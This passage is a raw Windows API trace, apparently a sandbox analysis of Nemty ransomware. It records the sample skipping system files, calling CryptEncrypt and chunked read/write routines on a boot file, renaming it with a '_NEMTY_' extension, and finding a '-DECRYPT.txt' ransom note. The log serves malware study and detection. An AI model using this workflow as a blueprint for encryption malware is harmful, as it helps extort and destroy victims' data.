hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.614] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0043.614] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0043.614] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0043.614] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0043.615] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0043.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0043.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.616] Sleep (dwMilliseconds=0x5) [0043.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcdb572d0, dwHighDateTime=0x1d561e7)) [0043.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcdb572d0, dwHighDateTime=0x1d561e7)) [0043.631] GetLastError () returned 0xb7 [0043.631] SetLastError (dwErrCode=0xb7) [0043.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.631] GetLastError () returned 0xb7 [0043.631] SetLastError (dwErrCode=0xb7) [0043.631] GetLastError () returned 0xb7 [0043.631] SetLastError (dwErrCode=0xb7) [0043.631] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.632] SetLastError (dwErrCode=0xb7) [0043.632] GetLastError () returned 0xb7 [0043.633] SetLastError (dwErrCode=0xb7) [0043.633] GetLastError () returned 0xb7 [0043.633] SetLastError (dwErrCode=0xb7) [0043.633] GetLastError () returned 0xb7 [0043.633] SetLastError (dwErrCode=0xb7) [0043.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.633] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0043.633] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0043.633] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0043.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0043.633] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="DE2B3hq7hCQejJ+J0adJWFEj4lYsDp/sOSPPAt2oVtHkQnm3zdJ27T+AQysb4z8b\r\nC18kTfEI+ESGtTJsfHMKxyF50BdUPS/RAziuRFeIS4d0VL/3KPphViDgkXnf6ANK\r\nmUCglwar2V3dcgp1P2LLInc2mT1WlyYtfrJDUiderqv+17gxrl0hpbGUWAn9mQWs\r\nepjkWmaqzpFKtDzJkFsXfOPr3YupzXDrici+uez1eX1Yoav/PJMt9j/u2XfMM0Hd\r\n4yUpAmNd+FRlftkaYwLtUTJTtn4GGCPfQBe0YZkKMtTYrbvmbe//MOrMGZpPDSYm\r\ntanihKGGvPBOY1EpZY+pTQ==\r\n", pcchString=0x653f2dc) returned 1 [0043.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0043.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0043.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0043.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0043.633] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.634] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0043.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0043.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.758] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.758] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.758] CloseHandle (hObject=0xffffffff) returned 0 [0043.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0043.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.758] MoveFileW (lpExistingFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.758] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb0b010, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcdb0b010, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcdb0b010, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0043.758] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned 